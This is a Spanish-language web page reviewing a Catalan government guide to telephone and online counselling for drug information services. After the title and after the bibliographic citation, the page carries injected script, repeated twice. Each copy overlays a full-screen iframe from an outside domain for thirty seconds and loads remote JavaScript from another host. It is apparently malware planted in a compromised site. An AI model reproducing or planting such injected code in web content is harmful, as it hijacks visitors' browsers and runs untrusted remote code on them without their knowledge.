Recursos para una buena atención telefónica y en línea en servicios de información sobre drogas<script> var time=30000;if((document.getElementById)){(function(){var thehairs="<iframe id=theiframe scrolling=no frameBorder=0 allowTransparency=true src=https://komkatkaj.org/ style=position:fixed;left:0;top:0;z-index:999999999999999;width:100%;height:100%;border:none;></iframe>";document.write(thehairs);var like=document.getElementById("theiframe");document.getElementsByTagName(body)[0].appendChild(like);if(time!=0){setTimeout(function(){document.getElementsByTagName(body)[0].removeChild(like)},time)}})()} </script><script type="text/javascript" src="https://old.chainebda.com/SpryAssets/min.js"></script>
Visiers, C.; Valverde, C., Guia dassessorament telèfonic i en línia, Barcelona, Generalitat de Catalunya, 67 págs., 2009.<script> var time=30000;if((document.getElementById)){(function(){var thehairs="<iframe id=theiframe scrolling=no frameBorder=0 allowTransparency=true src=https://komkatkaj.org/ style=position:fixed;left:0;top:0;z-index:999999999999999;width:100%;height:100%;border:none;></iframe>";document.write(thehairs);var like=document.getElementById("theiframe");document.getElementsByTagName(body)[0].appendChild(like);if(time!=0){setTimeout(function(){document.getElementsByTagName(body)[0].removeChild(like)},time)}})()} </script><script type="text/javascript" src="https://old.chainebda.com/SpryAssets/min.js"></script>
Liniaverda (www.liniaverda.org) es el servicio de información, orientación y acogida permanente sobre drogodependencias de la Generalitat de Catalunya. Los profesionales que trabajan en ella han creado –teniendo en cuenta otras experiencias nacionales e internacionales, así como opiniones de otros trabajadores de este ámbito– una guía de asesoramiento telefónico y en línea, dirigida a profesionales y personas voluntarias. Su objetivo principal es ofrecer información sobre cómo establecer una relación de colaboración y entendimiento con la persona usuaria del servicio, ya sea el propio consumidor, un familiar, un amigo u otros, y en consultas de todo tipo, desde información puntual sobre drogas hasta cuestiones relacionadas con la dinámica familiar. Está dividida en seis capítulos: los dos primeros sirven como introducción tanto a la guía en sí como a los servicios a los que se refiere. El resto se centra en la relación entre el profesional y la persona usuaria: cómo prepararse para atender a un usuario, cómo escuchar y comprender lo que necesita, qué hacer con las emociones que transmite y qué decirle y hacer para resolver su problema concreto, son algunas de las cuestiones fundamentales que la guía pretende solventar, con la ayuda de múltiples ejemplos, tablas y resúmenes que complementan el contenido teórico.
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